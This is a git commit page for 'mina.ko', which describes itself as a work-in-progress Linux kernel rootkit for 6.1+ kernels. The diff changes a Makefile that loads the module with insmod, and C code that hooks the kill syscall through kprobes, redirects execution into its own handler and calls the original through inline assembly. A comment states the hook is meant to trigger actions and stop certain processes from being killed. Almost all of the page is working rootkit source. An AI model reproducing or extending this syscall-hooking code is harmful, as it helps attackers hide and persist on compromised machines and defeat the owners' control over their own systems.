mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit b153772d3ccf83885bed8731a720332d5d6a2a84
parent 98b20747a7443a6436d93992c6d106134b87b11a
Author: djnn <[email protected]>
Date: Thu, 12 Dec 2024 17:04:28 +0900

fix(mina): hooks dont crash the whole fucking system anymore

Diffstat:
Mrootkit/Makefile | 2--
Mrootkit/hooks/kill.c | 12+++++-------
Mrootkit/includes/mina.h | 6+++---
Mrootkit/mina.c | 56+++++++++++++++++++++-----------------------------------

4 files changed, 29 insertions(+), 47 deletions(-)

diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -28,12 +28,10 @@ clean: ## cleans up build artifacts
 load: ## loads the rootkit on the system
 	@insmod *.ko
 	@dmesg -wH
-	@dmesg
 
 unload: ## unloads the rootkit from the system
 	@rmmod *.ko
 	@dmesg -wH
-	@dmesg
 
 deps: ## install build dependencies for debian-based systems (run as root)
 	@apt-get install -y \
diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -1,13 +1,11 @@
 
 #include "../includes/mina.h"
 
-void *_kill = NULL;
-
-int magic_flag = 0;
+void *kill_original = NULL;
 
 asmlinkage int64_t hook_syskill(const struct pt_regs *r) {
-    _kill = (!_kill) ? hook_linear_search("__x64_sys_kill") : _kill;
-    magic_flag = (magic_flag != 0);
-    printk(KERN_INFO "switched magic flag to %d. MEOW...\n", magic_flag);
-    return make_syscall(_kill, r);
+    if (kill_original == NULL)
+        syscall_linear_search("__x64_sys_kill");
+
+    return make_syscall(kill_original, r);
 }
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -12,7 +12,7 @@
 typedef struct mina__hook {
     /* https://www.kernel.org/doc/Documentation/kprobes.txt */
     struct kprobe kpb;
-    void *hook;
+    int64_t hookaddr;
 
     /* do we need anything else here ? */
 
@@ -21,9 +21,9 @@ typedef struct mina__hook {
 /* HOOKS definitions :) */
 asmlinkage int64_t hook_syskill(const struct pt_regs *);
 
-// hooks/utils.c
+// hooks utils
 int nb_hooks(void);
-void *hook_linear_search(const char *hk_name);
+void *syscall_linear_search(const char *hk_name);
 int make_syscall(void *callme, const struct pt_regs *regs);
 int __hook_tranpoline(struct kprobe *kp, struct pt_regs *r);
 
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -16,7 +16,7 @@ MODULE_VERSION("0.0.1");
 
 hook_t SYS_HOOKS[] = {
     /* used to trigger actions, prevent from killing some process */
-    {.hook = hook_syskill, .kpb = {.symbol_name = "__x64_sys_kill"}},
+    {.hookaddr = (int64_t)hook_syskill, .kpb = {.symbol_name = "__x64_sys_kill"}},
 
 };
 
@@ -24,77 +24,63 @@ int nb_hooks(void) {
     return (sizeof(SYS_HOOKS) / sizeof(SYS_HOOKS[0]));
 }
 
-void *hook_linear_search(const char *hk_name) {
+void *syscall_linear_search(const char *hk_name) {
     for (int i = 0; i < nb_hooks(); i++) {
         if (!strcmp(SYS_HOOKS[i].kpb.symbol_name, hk_name))
             return SYS_HOOKS[i].kpb.addr;
     }
 
     /* NOTE(djnn): what to do if the hook is not found ? */
+    printk(KERN_INFO "[! mina !] could not find original for %s\n", hk_name);
     return NULL;
 }
 
 int make_syscall(void *callme, const struct pt_regs *regs) {
 
-    /* to avoid recursively call hook, we check in hook if r14 == MINA_INHOOK_FLAG */
-
     int ret = 0;
-    asm("mov %1, %%r15;"
-        "mov %2, %%rdi;"
-        "call *%3;"
+    asm("mov %1, %%rdi;"
+        "call *%2;"
         "mov %%rax, %0"
         : "=m"(ret)
-        : "i"(MINA_INHOOK_FLAG), "r"(regs), "m"(callme)
-        : "%r15", "%rdi", "%rax");
+        : "r"(regs), "m"(callme)
+        : "%rdi", "%rax");
     return ret;
 }
 
 int __hook_tranpoline(struct kprobe *kp, struct pt_regs *r) {
 
-    printk(KERN_INFO "[MINA] entering trampoline (kp=%p, r=%p)\n", kp, r);
-
-    if (r->r15 == MINA_INHOOK_FLAG)
-        return 0;
-
+    printk(KERN_INFO "[MINA] entering trampoline (kp=%#lx, ip=%#lx)\n", kp, r->ip);
     for (int i = 0; i < nb_hooks(); i++) {
-        /*  NOTE(djnn): something's fucked here. not sure why yet.
-
-           if (kp == &SYS_HOOKS[i].kpb) {
+        /* if IP within current module, we are already in the hook */
+        if (kp == &SYS_HOOKS[i].kpb && !within_module(r->ip, THIS_MODULE)) {
             printk(KERN_INFO "[MINA] hit hook for %s\n", SYS_HOOKS[i].kpb.symbol_name);
-            r->ip = (uint64_t)SYS_HOOKS[i].hook;
-            return 1;
-        }*/
+            r->ip = (unsigned long)SYS_HOOKS[i].hookaddr;
+            return 0;
+        }
     }
     return 0;
 }
 
 static void __setup_hooks(void) {
     hook_t *iter = NULL;
-
-    printk(KERN_INFO "[MINA] nb hooks to set up: %d\n", nb_hooks());
     for (int i = 0; i < nb_hooks(); i++) {
         iter = &SYS_HOOKS[i];
-
-        printk(KERN_INFO "[MINA] going over %s\n", iter->kpb.symbol_name);
         iter->kpb.pre_handler = __hook_tranpoline;
 
-        printk(KERN_INFO "[MINA] setting tranpoline OK. calling register kprobe()\n");
-        if (register_kprobe(&iter->kpb) != 0) {
-            printk(KERN_INFO "[MINA] failed to register kprobe for %s\n", iter->kpb.symbol_name);
-            continue;
+        printk(KERN_INFO "[MINA] calling register_kprobe() for %s\n", iter->kpb.symbol_name);
+        if (register_kprobe(&iter->kpb) == 0) {
+            printk(KERN_INFO "[MINA] hooked %s (0x%px => 0x%px)",
+                   iter->kpb.symbol_name,
+                   iter->kpb.addr,
+                   iter->hookaddr);
         }
-
-        printk(KERN_INFO "[MINA] hooked %s (0x%px => 0x%px)",
-               iter->kpb.symbol_name,
-               iter->kpb.addr,
-               iter->hook);
     }
 }
 
 static void __remove_hooks(void) {
     hook_t *iter = NULL;
 
-    printk(KERN_INFO "[MINA] taking down hooks\n");
+    printk(KERN_INFO "bye-bye mina ~\n");
 
     for (int i = 0; i < nb_hooks(); i++) {
         iter = &SYS_HOOKS[i];
@@ -103,7 +89,7 @@ static void __remove_hooks(void) {
 }
 
 static int __init module_start(void) {
-    printk(KERN_INFO "meow ~\n");
+    printk(KERN_INFO "mina is cute ~\n");
 
     __setup_hooks();